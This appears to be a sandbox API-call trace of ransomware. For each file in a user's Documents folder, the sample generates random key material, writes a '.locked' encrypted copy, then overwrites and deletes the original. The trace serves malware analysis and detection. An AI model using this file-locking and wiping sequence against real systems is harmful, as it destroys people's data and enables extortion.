	[0074.532] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Wwb LK3j94MnP6.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wwb lk3j94mnp6.xlsx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0074.532] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0074.533] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c320 | out: pbBuffer=0x1238c320) returned 1
	[0074.533] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796210 | out: pbBuffer=0x12796210) returned 1
	[0074.533] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0074.533] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0074.535] SetEvent (hEvent=0x80) returned 1
	[0074.535] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0xea93, lpOverlapped=0x0) returned 1
	[0074.537] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xea93, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0xea93, lpOverlapped=0x0) returned 1
	[0074.541] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0074.541] CloseHandle (hObject=0xc4) returned 1
	[0074.542] CloseHandle (hObject=0xc0) returned 1
	[0074.542] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.543] SetEvent (hEvent=0x80) returned 1
	[0074.543] SetEvent (hEvent=0x8c) returned 1
	[0074.543] SetEvent (hEvent=0xb4) returned 1
	[0074.543] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.543] SetEvent (hEvent=0xa8) returned 1
	[0074.543] SetEvent (hEvent=0xb4) returned 1
	[0074.543] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x40, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x40) returned 1
	[0074.545] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Wwb LK3j94MnP6.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wwb lk3j94mnp6.xlsx")) returned 1
	[0074.563] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.563] SetEvent (hEvent=0xa8) returned 1
	[0074.563] SetEvent (hEvent=0x8c) returned 1
	[0074.567] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.568] SetEvent (hEvent=0x8c) returned 1
	[0074.568] SetEvent (hEvent=0xb4) returned 1
	[0074.568] SetEvent (hEvent=0x80) returned 1
	[0074.568] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.568] SetEvent (hEvent=0x80) returned 1
	[0074.570] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.570] SetEvent (hEvent=0x80) returned 1
	[0074.570] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.571] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.571] SetEvent (hEvent=0x80) returned 1
	[0074.571] SetEvent (hEvent=0xb4) returned 1
	[0074.571] SetEvent (hEvent=0x8c) returned 1
	[0074.571] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.571] SetEvent (hEvent=0x8c) returned 1
	[0074.571] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Wwb LK3j94MnP6.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wwb lk3j94mnp6.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.572] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0074.572] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0074.588] CloseHandle (hObject=0xc0) returned 1
	[0074.596] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Wwb LK3j94MnP6.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wwb lk3j94mnp6.xlsx")) returned 1
	[0074.606] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZWXqn_jC-RcYRb 637vj.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zwxqn_jc-rcyrb 637vj.pptx"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac819c10, ftCreationTime.dwHighDateTime=0x1d4e014, ftLastAccessTime.dwLowDateTime=0x7486fd50, ftLastAccessTime.dwHighDateTime=0x1d50431, ftLastWriteTime.dwLowDateTime=0x7486fd50, ftLastWriteTime.dwHighDateTime=0x1d50431, nFileSizeHigh=0x0, nFileSizeLow=0xd31)) returned 1
	[0074.606] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZWXqn_jC-RcYRb 637vj.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zwxqn_jc-rcyrb 637vj.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.606] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0074.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZWXqn_jC-RcYRb 637vj.pptx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zwxqn_jc-rcyrb 637vj.pptx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0074.607] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0074.607] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0074.608] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961e0 | out: pbBuffer=0x127961e0) returned 1
	[0074.608] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0074.608] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0074.610] SetEvent (hEvent=0xb4) returned 1
	[0074.610] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0xd31, lpOverlapped=0x0) returned 1
	[0074.611] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0xd31, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0xd31, lpOverlapped=0x0) returned 1
	[0074.611] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0074.611] CloseHandle (hObject=0xc4) returned 1
	[0074.612] CloseHandle (hObject=0xc0) returned 1
	[0074.612] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.612] SetEvent (hEvent=0xb4) returned 1
	[0074.613] SetEvent (hEvent=0x8c) returned 1
	[0074.613] SetEvent (hEvent=0x80) returned 1
	[0074.613] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.613] SetEvent (hEvent=0xa8) returned 1
	[0074.613] SetEvent (hEvent=0x80) returned 1
	[0074.613] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8a0*=0x46) returned 1
	[0074.615] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZWXqn_jC-RcYRb 637vj.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zwxqn_jc-rcyrb 637vj.pptx")) returned 1
	[0074.632] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.633] SetEvent (hEvent=0xa8) returned 1
	[0074.633] SetEvent (hEvent=0x8c) returned 1
	[0074.637] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.637] SetEvent (hEvent=0x8c) returned 1
	[0074.637] SetEvent (hEvent=0x80) returned 1
	[0074.638] SetEvent (hEvent=0xb4) returned 1
	[0074.638] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.638] SetEvent (hEvent=0xb4) returned 1
	[0074.639] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.640] SetEvent (hEvent=0xb4) returned 1
	[0074.640] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.640] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.640] SetEvent (hEvent=0xb4) returned 1
	[0074.640] SetEvent (hEvent=0x80) returned 1
	[0074.640] SetEvent (hEvent=0x8c) returned 1
	[0074.641] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.641] SetEvent (hEvent=0x8c) returned 1
	[0074.641] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZWXqn_jC-RcYRb 637vj.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zwxqn_jc-rcyrb 637vj.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.642] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0074.642] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0074.669] CloseHandle (hObject=0xc0) returned 1
	[0074.677] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZWXqn_jC-RcYRb 637vj.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zwxqn_jc-rcyrb 637vj.pptx")) returned 1
	[0074.686] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_3edhO843d6n2.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_3edho843d6n2.pptx"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x195b9110, ftCreationTime.dwHighDateTime=0x1d4cce7, ftLastAccessTime.dwLowDateTime=0x8a221f10, ftLastAccessTime.dwHighDateTime=0x1d4ca0b, ftLastWriteTime.dwLowDateTime=0x8a221f10, ftLastWriteTime.dwHighDateTime=0x1d4ca0b, nFileSizeHigh=0x0, nFileSizeLow=0x52cd)) returned 1
	[0074.686] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_3edhO843d6n2.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_3edho843d6n2.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.687] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0074.687] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_3edhO843d6n2.pptx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_3edho843d6n2.pptx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0074.687] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0074.688] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0074.688] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961e0 | out: pbBuffer=0x127961e0) returned 1
	[0074.688] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0074.688] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0074.690] SetEvent (hEvent=0x80) returned 1
	[0074.690] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x52cd, lpOverlapped=0x0) returned 1
	[0074.691] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x52cd, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x52cd, lpOverlapped=0x0) returned 1
	[0074.692] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0074.692] CloseHandle (hObject=0xc4) returned 1
	[0074.693] CloseHandle (hObject=0xc0) returned 1
	[0074.693] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.693] SetEvent (hEvent=0x80) returned 1
	[0074.693] SetEvent (hEvent=0x8c) returned 1
	[0074.694] SetEvent (hEvent=0xb4) returned 1
	[0074.694] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.694] SetEvent (hEvent=0xa8) returned 1
	[0074.694] SetEvent (hEvent=0xb4) returned 1
	[0074.694] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x3f) returned 1
	[0074.696] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_3edhO843d6n2.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_3edho843d6n2.pptx")) returned 1
	[0074.714] SetEvent (hEvent=0x8c) returned 1
	[0074.718] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.719] SetEvent (hEvent=0x8c) returned 1
	[0074.719] SetEvent (hEvent=0xb4) returned 1
	[0074.719] SetEvent (hEvent=0x80) returned 1
	[0074.719] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.719] SetEvent (hEvent=0x80) returned 1
	[0074.721] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.721] SetEvent (hEvent=0xa8) returned 1
	[0074.721] SetEvent (hEvent=0x80) returned 1
	[0074.722] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.722] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.722] SetEvent (hEvent=0x80) returned 1
	[0074.722] SetEvent (hEvent=0xb4) returned 1
	[0074.722] SetEvent (hEvent=0x8c) returned 1
	[0074.722] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.723] SetEvent (hEvent=0xa8) returned 1
	[0074.723] SetEvent (hEvent=0x8c) returned 1
	[0074.723] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_3edhO843d6n2.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_3edho843d6n2.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.724] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0074.724] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0074.739] CloseHandle (hObject=0xc0) returned 1
	[0074.748] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_3edhO843d6n2.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_3edho843d6n2.pptx")) returned 1
	[0074.757] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b3pQdKWSVAGMlHxmHP.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\b3pqdkwsvagmlhxmhp.docx"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x291aeb20, ftCreationTime.dwHighDateTime=0x1d50791, ftLastAccessTime.dwLowDateTime=0x400f260, ftLastAccessTime.dwHighDateTime=0x1d4cef4, ftLastWriteTime.dwLowDateTime=0x400f260, ftLastWriteTime.dwHighDateTime=0x1d4cef4, nFileSizeHigh=0x0, nFileSizeLow=0x113ac)) returned 1
	[0074.757] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b3pQdKWSVAGMlHxmHP.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\b3pqdkwsvagmlhxmhp.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.757] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0074.758] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b3pQdKWSVAGMlHxmHP.docx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\b3pqdkwsvagmlhxmhp.docx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0074.758] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0074.759] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0074.759] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961e0 | out: pbBuffer=0x127961e0) returned 1
	[0074.759] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc281 | out: pbBuffer=0x123bc281) returned 1
	[0074.759] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0074.761] SetEvent (hEvent=0xb4) returned 1
	[0074.761] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x113ac, lpOverlapped=0x0) returned 1
	[0074.763] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x113ac, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x113ac, lpOverlapped=0x0) returned 1
	[0074.764] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0074.764] CloseHandle (hObject=0xc4) returned 1
	[0074.766] CloseHandle (hObject=0xc0) returned 1
	[0074.766] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.766] SetEvent (hEvent=0xb4) returned 1
	[0074.766] SetEvent (hEvent=0x8c) returned 1
	[0074.766] SetEvent (hEvent=0x80) returned 1
	[0074.766] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.767] SetEvent (hEvent=0xa8) returned 1
	[0074.767] SetEvent (hEvent=0x80) returned 1
	[0074.767] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x44, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8a0*=0x44) returned 1
	[0074.768] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b3pQdKWSVAGMlHxmHP.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\b3pqdkwsvagmlhxmhp.docx")) returned 1
	[0074.786] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.787] SetEvent (hEvent=0xa8) returned 1
	[0074.787] SetEvent (hEvent=0x8c) returned 1
	[0074.791] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.791] SetEvent (hEvent=0x8c) returned 1
	[0074.791] SetEvent (hEvent=0x80) returned 1
	[0074.791] SetEvent (hEvent=0xb4) returned 1
	[0074.791] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.792] SetEvent (hEvent=0xb4) returned 1
	[0074.793] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.793] SetEvent (hEvent=0xb4) returned 1
	[0074.794] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.794] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0074.794] SetEvent (hEvent=0xb4) returned 1
	[0074.794] SetEvent (hEvent=0x80) returned 1
	[0074.794] SetEvent (hEvent=0x8c) returned 1
	[0074.794] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.795] SetEvent (hEvent=0x8c) returned 1
	[0074.795] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b3pQdKWSVAGMlHxmHP.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\b3pqdkwsvagmlhxmhp.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.796] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0074.796] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0074.812] CloseHandle (hObject=0xc0) returned 1
	[0074.820] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b3pQdKWSVAGMlHxmHP.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\b3pqdkwsvagmlhxmhp.docx")) returned 1
	[0074.829] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cQ3HZy-ljR_WZq8CsVX.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cq3hzy-ljr_wzq8csvx.odp"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f1d4de0, ftCreationTime.dwHighDateTime=0x1d4ca22, ftLastAccessTime.dwLowDateTime=0xe785cb40, ftLastAccessTime.dwHighDateTime=0x1d4ce14, ftLastWriteTime.dwLowDateTime=0xe785cb40, ftLastWriteTime.dwHighDateTime=0x1d4ce14, nFileSizeHigh=0x0, nFileSizeLow=0x11437)) returned 1
	[0074.830] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cQ3HZy-ljR_WZq8CsVX.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cq3hzy-ljr_wzq8csvx.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.830] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0074.830] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cQ3HZy-ljR_WZq8CsVX.odp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cq3hzy-ljr_wzq8csvx.odp.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0074.830] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0074.831] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
